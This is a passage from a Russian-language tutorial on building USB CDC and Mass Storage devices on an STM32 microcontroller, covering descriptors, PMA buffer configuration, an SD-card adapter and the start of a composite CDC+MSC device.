 0x01,   /* bConfigurationValue: Configuration value */
 0x00,   /* iConfiguration: Index of string descriptor describing the configuration */
 0xC0,   /* bmAttributes: self powered */
 0x32,   /* MaxPower 100 mA */


Тут нам интересно следующее:
  • wTotalLength — размер всего пакета дескрипторов для этой конфигурации — чтобы хост знал где заканчивается эта конфигурация и начинается следующая. Нам его нужно будет поправить, когда мы будем делать композитное устройство. Напомню, что все интерфейсы для этой конфигурации должны располагаться сплошным блоком, а значение wTotalLength определяет длину этого блока.
  • bNumInterfaces: класс Communication Device реализуется с помощью двух интерфейсов. Один для управления, другой для собственно пересылаемых данных
  • bmAttributes и MaxPower указывает, что наше устройство имеет собственный источник питания, но при этом хочет потреблять до 100 мА от USB порта. С этими параметрами явно придется поиграться в будущем.

Дальше идет дескриптор первого из интерфейсов CDC. Этот класс устройств может реализовывать несколько разных моделей общения (телефон, прямое соединение, многостороннее соединение), но в нашем случае это будет Abstract Control Model.

Дескриптор интерфейса управления CDC
/*Interface Descriptor */
 0x09,   /* bLength: Interface Descriptor size */
 USB_DESC_TYPE_INTERFACE,  /* bDescriptorType: Interface */
 /* Interface descriptor type */
 0x00,   /* bInterfaceNumber: Number of Interface */
 0x00,   /* bAlternateSetting: Alternate setting */
 0x01,   /* bNumEndpoints: One endpoints used */
 0x02,   /* bInterfaceClass: Communication Interface Class */
 0x02,   /* bInterfaceSubClass: Abstract Control Model */
 0x01,   /* bInterfaceProtocol: Common AT commands */
 0x00,   /* iInterface: */


В этом интерфейсе живет только одна конечная точка (bNumEndpoints). Но прежде идет серия функциональных дескрипторов — настроек специфичных для данного класса устройств.

Функциональный дескрипторы
 /*Header Functional Descriptor*/
 0x05,   /* bLength: Endpoint Descriptor size */
 0x24,   /* bDescriptorType: CS_INTERFACE */
 0x00,   /* bDescriptorSubtype: Header Func Desc */
 0x10,   /* bcdCDC: spec release number */
 0x01,
 
 /*Call Management Functional Descriptor*/
 0x05,   /* bFunctionLength */
 0x24,   /* bDescriptorType: CS_INTERFACE */
 0x01,   /* bDescriptorSubtype: Call Management Func Desc */
 0x00,   /* bmCapabilities: D0+D1 */
 0x01,   /* bDataInterface: 1 */
 
 /*ACM Functional Descriptor*/
 0x04,   /* bFunctionLength */
 0x24,   /* bDescriptorType: CS_INTERFACE */
 0x02,   /* bDescriptorSubtype: Abstract Control Management desc */
 0x02,   /* bmCapabilities */
 
 /*Union Functional Descriptor*/
 0x05,   /* bFunctionLength */
 0x24,   /* bDescriptorType: CS_INTERFACE */
 0x06,   /* bDescriptorSubtype: Union func desc */
 0x00,   /* bMasterInterface: Communication class interface */
 0x01,   /* bSlaveInterface0: Data Class Interface */


Тут сказано, что наше устройство не знает о понятии “звонок” (в смысле звонок по телефону), но при этом понимает команды параметров линии (скорость, стоп биты, DTR/CTS биты). Последний дескриптор описывает какой из двух интерфейсов CDC является управляющим, а где бегают данные. В общем, тут нам ничего не интересно и менять мы ничего не будем.

Наконец, дескриптор конечной точки для управляющего интерфейса
 /*Endpoint 2 Descriptor*/
 0x07,                           /* bLength: Endpoint Descriptor size */
 USB_DESC_TYPE_ENDPOINT,   /* bDescriptorType: Endpoint */
 CDC_CMD_EP,                     /* bEndpointAddress */
 0x03,                           /* bmAttributes: Interrupt */
 LOBYTE(CDC_CMD_PACKET_SIZE),     /* wMaxPacketSize: */
 HIBYTE(CDC_CMD_PACKET_SIZE),
 0x10,                           /* bInterval: */


Тут сказано, что эта конечная точка используется для прерываний. Хост будет опрашивать устройство раз в 0x10 (16) мс с вопросом а не требует ли устройство внимания. Также через эту конечную точку будут ходить управляющие команды.

Описание второго интерфейса (там где данные бегают) будет попроще

Интерфейс данных CDC и его конечные точки
/*Data class interface descriptor*/
 0x09,   /* bLength: Endpoint Descriptor size */
 USB_DESC_TYPE_INTERFACE,  /* bDescriptorType: */
 0x01,   /* bInterfaceNumber: Number of Interface */
 0x00,   /* bAlternateSetting: Alternate setting */
 0x02,   /* bNumEndpoints: Two endpoints used */
 0x0A,   /* bInterfaceClass: CDC */
 0x00,   /* bInterfaceSubClass: */
 0x00,   /* bInterfaceProtocol: */
 0x00,   /* iInterface: */
 
 /*Endpoint OUT Descriptor*/
 0x07,   /* bLength: Endpoint Descriptor size */
 USB_DESC_TYPE_ENDPOINT,      /* bDescriptorType: Endpoint */
 CDC_OUT_EP,                        /* bEndpointAddress */
 0x02,                              /* bmAttributes: Bulk */
 LOBYTE(CDC_DATA_HS_MAX_PACKET_SIZE),  /* wMaxPacketSize: */
 HIBYTE(CDC_DATA_HS_MAX_PACKET_SIZE),
 0x00,                              /* bInterval: ignore for Bulk transfer */
 
 /*Endpoint IN Descriptor*/
 0x07,   /* bLength: Endpoint Descriptor size */
 USB_DESC_TYPE_ENDPOINT,      /* bDescriptorType: Endpoint */
 CDC_IN_EP,                         /* bEndpointAddress */
 0x02,                              /* bmAttributes: Bulk */
 LOBYTE(CDC_DATA_HS_MAX_PACKET_SIZE),  /* wMaxPacketSize: */
 HIBYTE(CDC_DATA_HS_MAX_PACKET_SIZE),
 0x00                               /* bInterval: ignore for Bulk transfer */


В интерфейсе живут 2 конечные точки типа bulk — одна на прием, вторая на передачу. На самом деле в терминологии USB это одна конечная точка, просто двухсторонняя.

Как это все работает объяснять не буду, хотя бы потому что сам до конца не понимаю (например как хост узнает сколько данных нужно забирать со стороны устройства). Самое главное, что библиотека все реализует за нас. Давайте лучше посмотрим на архитектуру.

Библиотека USB от ST весьма слоиста. Я бы выделил такие архитектурные уровни
  • Class Driver (в случае CDC это файлы usbd_cdc и usbd_cdc_if): реализуют логику конкретного класса устройств — CDC для виртуального COM порта, MSC для устройств хранения данных, HID для клавиатур/мышек и всяких специфических устройств с пользовательским интерфейсом.
  • USB Core (usbd_core.c, usbd_ctlreq.c, usbd_ioreq.c): реализует общую логику работы всех классов USB устройств, умеет отдавать хосту запрашиваемые дескрипторы, обрабатывает запросы от хоста и настраивает USB устройство в целом. Также перенаправляет потоки данных из уровня драйвера класса в нижележащие уровни и наоборот.
  • USB HW Driver (usbd_conf.c): Вышележащие слои платформенно независимые и работают одинаковым образом для нескольких серий микроконтроллеров. В коде нет низкоуровневых вызовов функций конкретного микроконтроллера. Файл usbd_conf.c реализует прослойку между USB Core и HAL — библиотеке низкоуровневых драйверов для выбранного микроконтроллера. В основном тут живут простые врапперы, которые перенаправляют вызовы сверху вниз и коллбеки снизу вверх.
  • HAL (stm32f1xx_hal_pcd.c, stm32f1xx_ll_usb.c): занимаются общением с железом микроконтроллера, оперирует регистрами и отвечает на прерывания.

На этом этапе нас будут интересовать только самый верхний слой и одна функция из usbd_conf.c. Начнем с последней:

Функция USBD_LL_Init()
/**
 * @brief  Initializes the Low Level portion of the Device driver.
 * @param  pdev: Device handle
 * @retval USBD Status
 */
USBD_StatusTypeDef  USBD_LL_Init (USBD_HandleTypeDef *pdev)
{
 /* Init USB_IP */
 /* Link The driver to the stack */
 hpcd_USB_FS.pData = pdev;
 pdev->pData = &hpcd_USB_FS;
 
 hpcd_USB_FS.Instance = USB;
 hpcd_USB_FS.Init.dev_endpoints = 8;
 hpcd_USB_FS.Init.speed = PCD_SPEED_FULL;
 hpcd_USB_FS.Init.ep0_mps = DEP0CTL_MPS_8;
 hpcd_USB_FS.Init.low_power_enable = DISABLE;
 hpcd_USB_FS.Init.lpm_enable = DISABLE;
 hpcd_USB_FS.Init.battery_charging_enable = DISABLE;
 if (HAL_PCD_Init(&hpcd_USB_FS) != HAL_OK)
 {
        	Error_Handler();
 }
 
 HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x00 , PCD_SNG_BUF, 0x18);
 HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x80 , PCD_SNG_BUF, 0x58);
 HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x81 , PCD_SNG_BUF, 0xC0);  
 HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x01 , PCD_SNG_BUF, 0x110);
 HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x82 , PCD_SNG_BUF, 0x100);  
 return USBD_OK;
}


Эта функция инициализирует USB периферию микроконтроллера. Интереснее всего тут серия вызовов функции HAL_PCDEx_PMAConfig(). Дело в том, что на борту микроконтроллера находится цельных 512 байт памяти отведенных специально под буферы USB (эта память называется PMA — Packet Memory Area). Но поскольку заранее устройству неизвестно сколько будет конечных точек и какие будут их параметры, то эта память не распределена. Поэтому перед работой с USB память нужно распределить согласно выбранным параметрам.

Но вот что странно, объявляли только 2 конечные точки, а вызовов 5. Откуда взялись лишние? На самом деле лишних тут нет. Дело в том, что у каждого USB устройства обязательно должна быть одна двусторонняя конечная точка, через которую устройство инициализируется, а потом управляется. Эта конечная точка всегда имеет номер 0. Этой функции инициализируются не конечные точки, а буфера. Для нулевой конечной точки создаются 2 буфера — 0x00 на прием и 0x80 на передачу (старший бит указывает направление передачи, младшие — номер конечной точки). Оставшиеся 3 вызова описывают буфера для конечной точки 1 (прием и передача данных) и конечной точки 2 (прием команд и отсылка статуса — это происходит синхронно, поэтому буфер один)

Последний параметр в каждом вызове указывает смещение буфера конечной точки в общем буфере. На форумах видел вопросы «а что это за магическая константа 0x18 (начальный адрес первого буфера)?». Я детально рассмотрю этот вопрос позже. Сейчас лишь скажу, что первые 0x18 байт PMA памяти занимает таблица распределения буферов.

Но это все кишки и другие внутренности. А что снаружи?

Пользовательский код оперирует функциями приема и передачи, которые находятся в файле usbd_cdc_if.c. Чтобы устройство могло отправлять данные в виртуальный COM порт в сторону хоста нам предоставили функцию CDC_Transmit_FS()

Функция CDC_Transmit_FS()
/**
 * @brief  CDC_Transmit_FS
 *         Data send over USB IN endpoint are sent over CDC interface
 *         through this function.           
 *         @note
 *         
 *                 
 * @param  Buf: Buffer of data to be send
 * @param  Len: Number of data to be send (in bytes)
 * @retval Result of the operation: USBD_OK if all operations are OK else USBD_FAIL or USBD_BUSY
 */
uint8_t CDC_Transmit_FS(uint8_t* Buf, uint16_t Len)
{
 uint8_t result = USBD_OK;
 USBD_CDC_HandleTypeDef *hcdc = (USBD_CDC_HandleTypeDef*)hUsbDeviceFS.pClassData;
 if (hcdc->TxState != 0){
   return USBD_BUSY;
 }
 USBD_CDC_SetTxBuffer(&hUsbDeviceFS, Buf, Len);
 result = USBD_CDC_TransmitPacket(&hUsbDeviceFS);
 return result;
}


С приемом чуть сложнее: ядро USB будет дергать функцию CDC_Receive_FS() по мере приема данных. В эту функцию нужно дописать свой код, который будет обрабатывать принятые данные. Или вызывать коллбек, который будет заниматься обработкой, например так:

Функция CDC_Receive_FS()
/**
 * @brief  CDC_Receive_FS
 *         Data received over USB OUT endpoint are sent over CDC interface
 *         through this function.
 *           
 *         @note
 *         This function will block any OUT packet reception on USB endpoint
 *         untill exiting this function. If you exit this function before transfer
 *         is complete on CDC interface (ie. using DMA controller) it will result
 *         in receiving more data while previous ones are still not sent.
 *                 
 * @param  Buf: Buffer of data to be received
 * @param  Len: Number of data received (in bytes)
 * @retval Result of the operation: USBD_OK if all operations are OK else USBD_FAIL
 */
static int8_t CDC_Receive_FS (uint8_t* Buf, uint32_t *Len)
{
 uint16_t len = *Len;
 CDCDataReceivedCallback(Buf, len);
 
 // Prepare for next reception
 USBD_CDC_ReceivePacket(&hUsbDeviceFS);
 return (USBD_OK);
}


Обращаю внимание, что эти функции работают с массивами байт без какой либо структуры. В моем случае мне нужно было отправлять строки. Чтобы это было делать удобно я написал аналог функции printf, которая форматировала строку и отправляла ее в порт. Чтобы повысить скорость я также озадачился двойной буферизацией. Подробнее тут в разделах “USB с двойной буферизацией” и “printf”.

Еще в этом же файле находятся функции инициализации/деинициализации виртуального COM порта, а также функция изменения параметров порта (скорость, четность, стоп биты и прочее). Реализация по умолчанию не ограничивает себя в скорости и это меня устраивает. Инициализация так же хороша. Оставим все как есть.

Финальный штрих — код, который это все запускает

код, который это все запускает
        	USBD_Init(&hUsbDeviceFS, &FS_Desc, DEVICE_FS);
        	USBD_RegisterClass(&hUsbDeviceFS, &USBD_CDC);
        	USBD_CDC_RegisterInterface(&hUsbDeviceFS, &USBD_Interface_fops_FS);
        	USBD_Start(&hUsbDeviceFS);


Тут по очереди инициализируются разные уровни драйвера. Последняя команда включает USB прерывания. Важно понимать, что вся работа с USB происходит по запросу от хоста. В этом случае внутри драйвера вызывается прерывание, которое в свою очередь либо само обрабатывает запрос, либо делегирует это другому коду через коллбек.

Чтобы это все заработало нужен драйвер со стороны операционной системы. Как правило это стандартный драйвер и система может подхватить устройство без особой процедуры инсталляции. Насколько я понимаю у меня в системе уже был установлен Virtual COM Port драйвер от STM (поставился с ST Flash Utility) и мое устройство подхватилось самостоятельно. На линуксе также все завелось с полпинка.

MSC — запоминающее устройство


С драйвером CDC было все просто — устройство, как правило, само является конечным потребителем данных (например получает от хоста команды) или же генератором (например отправляет хосту показания датчиков).

С Mass Storage Class будет чуток сложнее. Драйвер MSC является всего лишь прослойкой между хостом и шиной USB с одной стороны, и запоминающим устройством с другой. Это может быть SD карта подключенная по SDIO, SPI Flash, может быть RAM Drive, дисковый накопитель, а может быть даже сетевой диск. В общем, в большинстве случаев запоминающее устройство будет представлено неким драйвером (как правило нетривиальным), который нам нужно будет состыковать с реализацией MSC.

В моем устройстве используется SD карта, подключенная через SPI. Для доступа к файлом на этой карте я использую библиотеку SdFat. Она также разделена на несколько уровней абстракции:
  • Пользователю предоставляется класс File, через который можно создавать/открывать файлы, читать и писать данные. Клиентский код не парится взаимодействием с носителем информации и тонкостями файловой системы,
  • Класс Volume занимается всей кухней по обслуживанию файловой системы, каталога, кластеров, FAT и такого прочего. Общение с носителем данных делегируется в нижележащие уровни.
  • Драйвер SD карты — этот компонент знает как общаться с картой, какие ей слать команды и какие слушать ответы. Библиотека предоставляет несколько видов драйверов для карт подключенных по SPI и SDIO. Теоретически можно подставить свой драйвер, например, для RAM диска.
  • Вышележащие слои кроссплатформенные, они ничего не знают о том как именно данные будут писаться на карту или читаться с нее. Это позволяет собирать библиотеку под разные платформу (как Ардуино, так и другие). Для конкретной платформы или микроконтроллера можно написать драйвер, который будет реализовывать передачу данных через необходимый интерфейс. По умолчанию библиотека предоставляет несколько драйверов, в т.ч. для ардуиновского SPI, но я заморочился и написал свой драйвер с преферансом и поэтессами передачей через DMA на основе HAL
  • Наконец, HAL обеспечивает работу с регистрами конкретного микроконтроллера

В случае USB Mass Storage мы не будем работать с файлами на флешке — всю работу по интерпретации файловой системы будет делать хост. К устройству будут приходить запросы на чтение или запись конкретного блока данных. Так что нас будут интересовать уровни от драйвера карты и ниже.

Реализация MSC требует от хранилища определенного интерфейса — уметь читать и писать, отдавать свой размер и статус. Примерно такие же возможности предоставляет интерфейс драйвера SD карты библиотеки SdFat. Остается лишь написать адаптер, который приведет один интерфейс к другому.

С направлением движения определились. Займемся реализацией. Я опять воспользовался конфигуратором CubeMX и сгенерировал нужные файлы для компонента USB. Изучение начнем, конечно же, с дескрипторов.

Дескриптор устройства
* USB Standard Device Descriptor */
__ALIGN_BEGIN uint8_t USBD_FS_DeviceDesc[USB_LEN_DEV_DESC] __ALIGN_END =
 {
   0x12,                       /*bLength */
   USB_DESC_TYPE_DEVICE,       /*bDescriptorType*/
   0x00,                       /* bcdUSB */  
   0x02,
   0x00,                       /*bDeviceClass*/
   0x00,                       /*bDeviceSubClass*/
   0x00,                       /*bDeviceProtocol*/
   USB_MAX_EP0_SIZE,          /*bMaxPacketSize*/
   LOBYTE(USBD_VID),           /*idVendor*/
   HIBYTE(USBD_VID),           /*idVendor*/
   LOBYTE(USBD_PID_FS),           /*idVendor*/
   HIBYTE(USBD_PID_FS),           /*idVendor*/
   0x00,                       /*bcdDevice rel. 2.00*/
   0x02,
   USBD_IDX_MFC_STR,           /*Index of manufacturer  string*/
   USBD_IDX_PRODUCT_STR,       /*Index of product string*/
   USBD_IDX_SERIAL_STR,        /*Index of serial number string*/
   USBD_MAX_NUM_CONFIGURATION  /*bNumConfigurations*/
 } ;
/* USB_DeviceDescriptor */


Дескриптор устройства практически не изменился. Разница только в полях, определяющих класс устройства — теперь класс устройства в целом не задан (нули в bDeviceClass), а будет задаваться на уровне интерфейса (это требование спецификации ).

Дескриптор конфигурации
 0x09,   /* bLength: Configuation Descriptor size */
 USB_DESC_TYPE_CONFIGURATION,   /* bDescriptorType: Configuration */
 USB_MSC_CONFIG_DESC_SIZ,
 
 0x00,
 0x01,   /* bNumInterfaces: 1 interface */
 0x01,   /* bConfigurationValue: */
 0x04,   /* iConfiguration: */
 0xC0,   /* bmAttributes: */
 0x32,   /* MaxPower 100 mA */


Очень похоже на аналогичный дескриптор из CDC — определяется количество интерфейсов (1) и параметры питания от шины (до 100 мА)

Дескриптор интерфейса
 0x09,   /* bLength: Interface Descriptor size */
 0x04,   /* bDescriptorType: */
 0x00,   /* bInterfaceNumber: Number of Interface */
 0x00,   /* bAlternateSetting: Alternate setting */
 0x02,   /* bNumEndpoints*/
 0x08,   /* bInterfaceClass: MSC Class */
 0x06,   /* bInterfaceSubClass : SCSI transparent*/
 0x50,   /* nInterfaceProtocol */
 0x05,          /* iInterface: */


Дескриптор интерфейса объявляет 2 конечных точки (по одной в каждую сторону передачи). Также дескриптор определяет какой именно это подкласс Mass Storage — Bulk Only Transport. Я не нашел толкового описания что же именно это за подкласс такой. Предполагаю, что это устройство, которое общается только посредством двусторонней передачи данных через 2 конечные точки (тогда как другие модели могут использовать еще и прерывания). Протоколом в этом общении являются SCSI команды.

Дескрипторы конечных точек
 0x07,   /*Endpoint descriptor length = 7*/
 0x05,   /*Endpoint descriptor type */
 MSC_EPIN_ADDR,   /*Endpoint address (IN, address 1) */
 0x02,   /*Bulk endpoint type */
 LOBYTE(MSC_MAX_FS_PACKET),
 HIBYTE(MSC_MAX_FS_PACKET),
 0x00,   /*Polling interval in milliseconds */
 
 0x07,   /*Endpoint descriptor length = 7 */
 0x05,   /*Endpoint descriptor type */
 MSC_EPOUT_ADDR,   /*Endpoint address (OUT, address 1) */
 0x02,   /*Bulk endpoint type */
 LOBYTE(MSC_MAX_FS_PACKET),
 HIBYTE(MSC_MAX_FS_PACKET),
 0x00     /*Polling interval in milliseconds*/


Тут определяются 2 конечные точки типа Bulk — интерфейс USB не гарантирует скорость по таким конечным точкам, зато гарантирует доставку данных. Размер пакета устанавливается в 64 байта.

Раз уж мы говорим про конечные точки, то стоит заглянуть в файл usbd_conf.c где определяются соответствующие PMA буфера

Настройка PMA буферов
HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x00 , PCD_SNG_BUF, 0x18);
HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x80 , PCD_SNG_BUF, 0x58);
HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x81 , PCD_SNG_BUF, 0x98);
HAL_PCDEx_PMAConfig((PCD_HandleTypeDef*)pdev->pData , 0x01 , PCD_SNG_BUF, 0xD8);


Теперь посмотрим на MSC с другой стороны. Этот USB класс принимает от хоста команды на чтение/запись и транслирует их специализированный интерфейс — USBD_StorageTypeDef. Нам остается только подставить свою реализацию.

Интерфейс устройства
/** @defgroup USB_CORE_Exported_Types
  * @{
  */ 
typedef struct _USBD_STORAGE
{
  int8_t (* Init) (uint8_t lun);
  int8_t (* GetCapacity) (uint8_t lun, uint32_t *block_num, uint16_t *block_size);
  int8_t (* IsReady) (uint8_t lun);
  int8_t (* IsWriteProtected) (uint8_t lun);
  int8_t (* Read) (uint8_t lun, uint8_t *buf, uint32_t blk_addr, uint16_t blk_len);
  int8_t (* Write)(uint8_t lun, uint8_t *buf, uint32_t blk_addr, uint16_t blk_len);
  int8_t (* GetMaxLun)(void);
  int8_t *pInquiry;
}USBD_StorageTypeDef;


Поскольку это C, а не C++, то каждая их этих записей — указатель на соответствующую функцию. Как я уже говорил, нам нужно написать адаптер, который будет приводить интерфейс MSC к интерфейсу SD карты.

Начнем реализовывать интерфейс. Первой идет функция инициализации

Функция инициализации
int8_t SD_MSC_Init (uint8_t lun)
{
       	(void)lun; // Not used
 
//    	if(!initSD())
//            	return USBD_FAIL;
 
       	return (USBD_OK);
}


Так SD карту можно было бы инициализировать прямо отсюда, если бы это была быстрая операция. Но в случае SD карты это может быть не всегда так. К тому же не стоит забывать, что эти все функции являются коллбеками и вызываются из прерывания USB, а прерывания надолго блокировать не стОит. Поэтому я вызвают функцию initSD() прямо из main() перед инициализацией USB, а SD_MSC_Init() у меня ничего не делает

Инициализация карты
SdFatSPIDriver spiDriver;
SdSpiCard card;
 
bool initSD()
{
       	return card.begin(&spiDriver, PA4, SPI_FULL_SPEED);
}


Может показаться, что слишком много разных драйверов, но позвольте я напомню архитектуру. Класс SdSpiCard из библиотеки SdFat знает как общаться с SD картой через SPI, когда и какую команду послать и какой ждать ответ. Но он не знает как работать с самим SPI. Для этих целей я написал класс SdFatSPIDriver, который реализует общение с картой по SPI и передачу данных через DMA.

Идем дальше.

Функция получения объема карты
int8_t SD_MSC_GetCapacity (uint8_t lun, uint32_t *block_num, uint16_t *block_size)
{
       	(void)lun; // Not used
 
       	*block_num  = card.cardSize();
       	*block_size = 512;
       	return (USBD_OK);
}


Реализация SD_MSC_GetCapacity() тривиальна — SdSpiCard умеет возвращать размер карты сразу в блоках

Функции чтения и записи
int8_t SD_MSC_Read (uint8_t lun,
                                                               	uint8_t *buf,
                                                               	uint32_t blk_addr,
                                                               	uint16_t blk_len)
{
       	(void)lun; // Not used
 
       	if(!card.readBlocks(blk_addr, buf, blk_len))
               	return USBD_FAIL;
 
       	return (USBD_OK);
}
 
int8_t SD_MSC_Write (uint8_t lun,
                                                               	uint8_t *buf,
                                                               	uint32_t blk_addr,
                                                               	uint16_t blk_len)
{
       	(void)lun; // Not used
 
       	if(!card.writeBlocks(blk_addr, buf, blk_len))
               	return USBD_FAIL;
 
       	return (USBD_OK);
}


Чтение и запись также реализована вполне просто.

Еще функции
int8_t  SD_MSC_IsReady (uint8_t lun)
{
       	(void)lun; // Not used
 
       	return (USBD_OK);
}
 
int8_t  SD_MSC_IsWriteProtected (uint8_t lun)
{
       	(void)lun; // Not used
 
       	return (USBD_OK); // Never write protected
}


Карта у нас всегда готова (хотя в будущем я буду пристальнее смотреть на статус) и не защищена от записи.

Еще одна
int8_t SD_MSC_GetMaxLun (void)
{
       	return 0; // We have just 1 Logic unit number (LUN) which is zero
}


LUN — Logic Unit Number. Теоретически наше запоминающее устройство может состоять из нескольких носителей (например жесткие диски в рейде). Все функции SCSI протокола указывают с каким носителем оно хочет работать. Функция GetMaxLun возвращает номер последнего устройства (количество устройств минус 1). Флешка у нас одна потому возвращаем 0.

И последняя штука.

Описатель запоминающего устройства
const uint8_t SD_MSC_Inquirydata[] = {/* 36 */
/* LUN 0 */
0x00,
0x80,
0x02,
0x02,
(STANDARD_INQUIRY_DATA_LEN - 5),
0x00,
0x00,
0x00,
'S', 'T', 'M', ' ', ' ', ' ', ' ', ' ', /* Manufacturer : 8 bytes */
'P', 'r', 'o', 'd', 'u', 'c', 't', ' ', /* Product      : 16 Bytes */
' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',
'0', '.', '0' ,'1'                     /* Version      : 4 Bytes */
};


Если честно, я особо не разобрался зачем оно нужно. Заглянув в спецификацию SCSI я увидел очень много полей смысла, которых я не понял. Из того, что я осилил – тут описывается стандартное устройство с прямым (не секвентальным) доступом, причем которое может быть извлечено (removable). Благо во всех примерах, которые я видел этот массив совпадает, так что пускай будет. Отлажено ведь.

Теперь все это нужно правильно проинициализировать

Инициализация
        	USBD_StatusTypeDef res = USBD_Init(&hUsbDeviceFS, &FS_Desc, DEVICE_FS);
        	USBD_RegisterClass(&hUsbDeviceFS, &USBD_MSC);
        	USBD_MSC_RegisterStorage(&hUsbDeviceFS, &SdMscDriver);
        	USBD_Start(&hUsbDeviceFS);


Подключаем, проверяем. Все работает, правда очень медленно — подключенный диск открывается секунд 50. Отчасти это из-за того, что линейная скорость чтения флешки через такой интерфейс получается около 200кб/с. Когда USB Mass Storage устройство подключается к компьютеру, операционная система вычитывает таблицу FAT. Я использую флешку на 8 гиг, а там FAT аж 7.5 мегабайт. Плюс чтение MBR, бут сектора, таблицы файлов — вот и получается почти 50 сек.

Также мне пришлось отключить DMA при работе с SD картой – там не все так просто с его включением. Дело в том, что моя реализация драйвера (как оказалось) не может работать из прерывания, а в USB все только через прерывания и работает. Не работает даже банальный HAL_Delay() т.к. он тоже завязан на прерывания, не говоря уже о синхронизации с использованием FreeRTOS. Это нужно будет переделать, но это отдельная история и к USB composite device она не относится. Как переделаю — обязательно напишу об этом статью и оставлю тут линку.


CDC + MSC Composite Device



А теперь со всей этой фигней мы попробуем взлететь (С) анекдот

Итак, мы уже знаем как строить USB устройства, которые могут реализовывать либо CDC либо MSC. Попробуем сделать композитное устройство, которое реализует оба интерфейса одновременно. Я посмотрел несколько других проектов, которые реализовывали композитное USB устройство и, как мне кажется, их подход имеет смысл. А именно: реализовать собственный драйвер класса, который будет реализовывать и ту и ту функциональность.

Заготовку для класса возьмем из пакета STM32 Cube (Middlewares\ST\STM32_USB_Device_Library\Class\Template). Начинкой будет творчески преработаный код отсюда .

Структура USB устройства будет такая:
  • У нас будет всего одна конфигурация, а в ней 3 интерфейса
  • Один интерфейс реализует MSC
    • У него одна двунаправленная конечная точка — для передачи и приема
  • CDC реализуется двумя интерфейсами.
    • Первый для управления. У него одна однонаправленная конечная точка для управления интерфейсом
    • Второй интерфейс CDC для данных. У него двунаправленная конечная точка — для передачи и приема
  • Еще одна конечная точка нужна для управления устройство в целом (реализуется ядром USB библиотеки)


image
Красивая картинка, которая описывает пример описания композитного устройства. Взято из спецификации IAD

Для удобства использования объявим в коде номера конечных точек и интерфейсов.

Номера интерфейсов и конечных точек
#define MSC_INTERFACE_IDX 0x0                            	// Index of MSC interface
#define CDC_INTERFACE_IDX 0x1                            	// Index of CDC interface
 
// endpoints numbers
// endpoints numbers
#define MSC_EP_IDX                      0x01
#define CDC_CMD_EP_IDX                  0x02
#define CDC_EP_IDX                      0x03

#define IN_EP_DIR						0x80 // Adds a direction bit

#define MSC_OUT_EP                      MSC_EP_IDX                  /* EP1 for BULK OUT */
#define MSC_IN_EP                       MSC_EP_IDX | IN_EP_DIR      /* EP1 for BULK IN */
#define CDC_CMD_EP                      CDC_CMD_EP_IDX| IN_EP_DIR   /* EP2 for CDC commands */
#define CDC_OUT_EP                      CDC_EP_IDX                  /* EP3 for data OUT */
#define CDC_IN_EP                       CDC_EP_IDX | IN_EP_DIR      /* EP3 for data IN */


Нумерация конечных точек повторяет нумерацию интерфейсов. Будем использовать №1 для MSC, №2 для управления CDC, №3 для передачи данных через CDC. Есть еще нулевая конечная точка для общего управления устройством, но она обрабатывается в недрах ядра USB и объявлять эти номера не обязательно.

Интерфейс USB библиотеки от ST оставляет желать лучшего. В некоторых случаях номера конечных точек используются с флагом направления передачи — установленный старший бит означает направление IN — в сторону хоста (я для этого завел константу IN_EP_DIR). При этом другие функции используют просто номер конечной точки. В отличии от оригинального дизайна я предпочел разделить эти все номера и использовать правильные константы в нужных местах. Там где используются константы с суффиксом EP_IDX флаг направления передачи не используется.

ВАЖНО! Хоть по спецификации USB номера конечных точек могут быть какими угодно, все же лучше расположить их последовательно и в том же порядке, в котором они объявляются в дескрипторах. Мне это знание далось неделей жесткого дебага, когда виндовый USB драйвер упорно ломился не в ту конечную точку и ничего не работало.

Начнем как обычно с дескрипторов. Большая часть дескрипторов будут жить в нашей реализации класса (usbd_msc_cdc.c), но дескриптор устройства и кое какие глобальные штуки определены в ядре USB в файле usbd_desc.c

Сначала чуток констант
#define USBD_VID                        0x0483
#define USBD_PID                        0x5741
#define USBD_LANGID_STRING              0x409
#define USBD_MANUFACTURER_STRING        "STMicroelectronics"
#define USBD_PRODUCT_FS_STRING          "Composite MSC CDC"
#define USBD_SERIALNUMBER_FS_STRING     "00000000055C"
#define USBD_CONFIGURATION_FS_STRING    "Config Name"
#define USBD_INTERFACE_FS_STRING        "Interface Name"


Дескриптор устройства
__ALIGN_BEGIN const uint8_t USBD_FS_DeviceDesc[USB_LEN_DEV_DESC] __ALIGN_END =
{
       	0x12,                       /*bLength */
       	USB_DESC_TYPE_DEVICE,       /*bDescriptorType*/
       	0x00,                       /*bcdUSB */
       	0x02,
       	0xEF,                       /*bDeviceClass*/
       	0x02,                       /*bDeviceSubClass*/
       	0x01,                       /*bDeviceProtocol*/
       	USB_MAX_EP0_SIZE,      /*bMaxPacketSize*/
       	LOBYTE(USBD_VID),           /*idVendor*/
       	HIBYTE(USBD_VID),           /*idVendor*/
       	LOBYTE(USBD_PID),           /*idVendor*/
       	HIBYTE(USBD_PID),           /*idVendor*/
       	0x00,                       /*bcdDevice rel. 2.00*/
       	0x02,
       	USBD_IDX_MFC_STR,           /*Index of manufacturer  string*/
       	USBD_IDX_PRODUCT_STR,       /*Index of product string*/
       	USBD_IDX_SERIAL_STR,        /*Index of serial number string*/
       	USBD_MAX_NUM_CONFIGURATION  /*bNumConfigurations*/
};


В целом тут все тоже самое, отличаются только поля, которые определяют класс устройства (bDeviceClass). Теперь эти поля указывают, что это композитное устройство. Хосту нужно будет потрудится, разобраться во всех остальных дескрипторах и подгрузить правильные драйвера для каждого из компонентов. Поле bDeviceProtocol означает, что части композитного устройства будут описываться специальным дескриптором – дескриптором ассоциации интерфейсов (Interface Association Descriptor). О нем чуть ниже.

Дескриптор конфигурации примерно такой же как и раньше, разница только в количестве интерфейсов. Теперь у нас их 3

Дескриптор конфигурации
#define USB_MSC_CDC_CONFIG_DESC_SIZ       98
 
/* USB MSC+CDC device Configuration Descriptor */
